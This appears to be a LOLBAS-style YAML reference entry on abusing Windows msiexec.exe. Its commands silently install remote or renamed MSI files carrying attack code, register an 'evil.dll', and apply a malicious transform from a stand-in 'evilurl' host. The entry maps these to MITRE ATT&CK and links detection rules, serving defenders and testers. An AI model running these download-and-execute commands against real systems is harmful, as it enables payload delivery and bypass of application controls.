---
Name: Msiexec.exe
Description: Used by Windows to execute msi files
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
  - Command: msiexec /quiet /i cmd.msi
    Description: Installs the target .MSI file silently.
    Usecase: Execute custom made msi file with attack code
    Category: Execute
    Privileges: User
    MitreID: T1218.007
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: msiexec /q /i http://192.168.100.3/tmp/cmd.png
    Description: Installs the target remote & renamed .MSI file silently.
    Usecase: Execute custom made msi file with attack code from remote server
    Category: Execute
    Privileges: User
    MitreID: T1218.007
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: msiexec /y "C:\folder\evil.dll"
    Description: Calls DLLRegisterServer to register the target DLL.
    Usecase: Execute dll files
    Category: Execute
    Privileges: User
    MitreID: T1218.007
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    Tags:
      - Execute: DLL
  - Command: msiexec /z "C:\folder\evil.dll"
    Description: Calls DLLUnregisterServer to un-register the target DLL.
    Usecase: Execute dll files
    Category: Execute
    Privileges: User
    MitreID: T1218.007
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    Tags:
      - Execute: DLL
  - Command: msiexec /i "https://trustedURL/signed.msi" TRANSFORMS="https://evilurl/evil.mst" /qb
    Description: Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a Transformfile will be used, which can contains malicious code or binaries. The /qb will skip user input.
    Usecase: Install trusted and signed msi file, with additional attack code as Treansorm file, from remote server
    Category: Execute
    Privileges: User
    MitreID: T1218.007
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
  - Path: C:\Windows\System32\msiexec.exe
  - Path: C:\Windows\SysWOW64\msiexec.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_masquerading.yml
  - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
  - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall_app_using_msiexec.yml
  - IOC: msiexec.exe retrieving files from Internet
Resources:
  - Link: https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
  - Link: https://twitter.com/PhilipTsukerman/status/992021361106268161
  - Link: https://badoption.eu/blog/2023/10/03/MSIFortune.html
Acknowledgement:
  - Person: netbiosX
    Handle: '@netbiosX'
  - Person: Philip Tsukerman
    Handle: '@PhilipTsukerman'